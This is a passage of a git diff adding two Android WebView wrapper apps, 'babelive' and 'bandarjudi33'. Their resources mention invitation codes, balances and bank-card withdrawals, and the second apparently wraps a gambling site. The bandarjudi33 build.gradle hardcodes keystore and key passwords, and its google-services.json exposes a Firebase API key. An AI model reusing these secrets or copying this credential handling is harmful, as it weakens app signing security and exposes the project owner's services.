"Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/babelive/src/main/java/com/xyz/babelive/WebApplication.java b/babelive/src/main/java/com/xyz/babelive/WebApplication.java new file mode 100644 index 0000000..00c23c5 --- /dev/null +++ b/babelive/src/main/java/com/xyz/babelive/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.babelive; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/babelive/src/main/res/drawable-anydpi/ic_action_back.xml b/babelive/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/babelive/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/babelive/src/main/res/drawable-hdpi/ic_action_back.png b/babelive/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/babelive/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/babelive/src/main/res/drawable-mdpi/ic_action_back.png b/babelive/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/babelive/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/babelive/src/main/res/drawable-v24/ic_launcher_foreground.xml b/babelive/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/babelive/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable-xhdpi/ic_action_back.png b/babelive/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/babelive/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/babelive/src/main/res/drawable-xxhdpi/ic_action_back.png b/babelive/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/babelive/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/babelive/src/main/res/drawable/big_bg.xml b/babelive/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..7fc8156 --- /dev/null +++ b/babelive/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/ic_launcher_background.xml b/babelive/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/babelive/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/babelive/src/main/res/drawable/input_bg.xml b/babelive/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/babelive/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/babelive/src/main/res/drawable/pass_word_bg.xml b/babelive/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/babelive/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/babelive/src/main/res/drawable/pass_word_bg1.xml b/babelive/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/babelive/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/pass_word_bg2.xml b/babelive/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/babelive/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/shape_btn_bg.xml b/babelive/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/babelive/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/shape_dialog_bg2.xml b/babelive/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/babelive/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/shape_dialog_bg3.xml b/babelive/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/babelive/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/drawable/shape_dialog_bg_new.xml b/babelive/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/babelive/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/babelive/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/mipmap-hdpi/ic_empty.png b/babelive/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/babelive/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/babelive/src/main/res/mipmap-hdpi/ic_pull_down.png b/babelive/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/babelive/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/babelive/src/main/res/mipmap-xhdpi/ic_close.png b/babelive/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/babelive/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/babelive/src/main/res/mipmap-xhdpi/ic_menu.png b/babelive/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/babelive/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/babelive/src/main/res/mipmap-xxhdpi/app_logo.png b/babelive/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..b24925f Binary files /dev/null and b/babelive/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/babelive/src/main/res/values-en/strings.xml b/babelive/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/babelive/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/babelive/src/main/res/values-night/themes.xml b/babelive/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/babelive/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/values/colors.xml b/babelive/src/main/res/values/colors.xml new file mode 100644 index 0000000..0727d4e --- /dev/null +++ b/babelive/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0e1625 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/babelive/src/main/res/values/strings.xml b/babelive/src/main/res/values/strings.xml new file mode 100644 index 0000000..17ec9ad --- /dev/null +++ b/babelive/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BabeLive + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/values/themes.xml b/babelive/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/babelive/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/xml/app_updater_paths.xml b/babelive/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/babelive/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/main/res/xml/network_security_config.xml b/babelive/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/babelive/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/babelive/src/main/res/xml/provider_paths.xml b/babelive/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/babelive/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/babelive/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/babelive/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/babelive/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bandarjudi33/.gitignore b/bandarjudi33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bandarjudi33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bandarjudi33/build.gradle b/bandarjudi33/build.gradle new file mode 100644 index 0000000..e23bbb2 --- /dev/null +++ b/bandarjudi33/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bandarjudi33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "bandarjudi33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/bandarjudi33/google-services.json b/bandarjudi33/google-services.json new file mode 100644 index 0000000..b0f943b --- /dev/null +++ b/bandarjudi33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "9108710357", + "project_id": "bandarjudi33-b4a5a", + "storage_bucket": "bandarjudi33-b4a5a.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:9108710357:android:6b5e135348a70e7530535c", + "android_client_info": { + "package_name": "com.web.bandarjudi33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCxFk8I0QXqXTNfi_p67DGX3CI4tlMMP2o" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bandarjudi33/ppn.jks b/bandarjudi33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/bandarjudi33/ppn.jks differ diff --git a/bandarjudi33/proguard-rules.pro b/bandarjudi33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bandarjudi33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bandarjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bandarjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bandarjudi33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bandarjudi33/src/main/AndroidManifest.xml b/bandarjudi33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..b93bbcc --- /dev/null +++ b/bandarjudi33/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/java/com/web/bandarjudi33/MainActivity.java b/bandarjudi33/src/main/java/com/web/bandarjudi33/MainActivity.java new file mode 100644 index 0000000..dce74d9 --- /dev/null +++ b/bandarjudi33/src/main/java/com/web/bandarjudi33/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.bandarjudi33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 162; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://bandarj33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bandarjudi33/src/main/java/com/web/bandarjudi33/MyFirebaseMessageingService.java b/bandarjudi33/src/main/java/com/web/bandarjudi33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..d8e5201 --- /dev/null +++ b/bandarjudi33/src/main/java/com/web/bandarjudi33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.bandarjudi33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bandarjudi33/src/main/java/com/web/bandarjudi33/WebApplication.java b/bandarjudi33/src/main/java/com/web/bandarjudi33/WebApplication.java new file mode 100644 index 0000000..f266e82 --- /dev/null +++ b/bandarjudi33/src/main/java/com/web/bandarjudi33/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.bandarjudi33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/bandarjudi33/src/main/res/drawable-anydpi/ic_action_back.xml b/bandarjudi33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/bandarjudi33/src/main/res/drawable-hdpi/ic_action_back.png b/bandarjudi33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/bandarjudi33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/bandarjudi33/src/main/res/drawable-mdpi/ic_action_back.png b/bandarjudi33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/bandarjudi33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/bandarjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/bandarjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable-xhdpi/ic_action_back.png b/bandarjudi33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/bandarjudi33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/bandarjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png b/bandarjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/bandarjudi33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/bandarjudi33/src/main/res/drawable/big_bg.xml b/bandarjudi33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/ic_launcher_background.xml b/bandarjudi33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bandarjudi33/src/main/res/drawable/input_bg.xml b/bandarjudi33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/bandarjudi33/src/main/res/drawable/pass_word_bg.xml b/bandarjudi33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/bandarjudi33/src/main/res/drawable/pass_word_bg1.xml b/bandarjudi33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/pass_word_bg2.xml b/bandarjudi33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bandarjudi33/src/main/res/drawable/shape_btn_bg.xml b/bandarjudi33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/bandarjudi33/src/main/res/drawable/shape_btn_bg.xml @@ 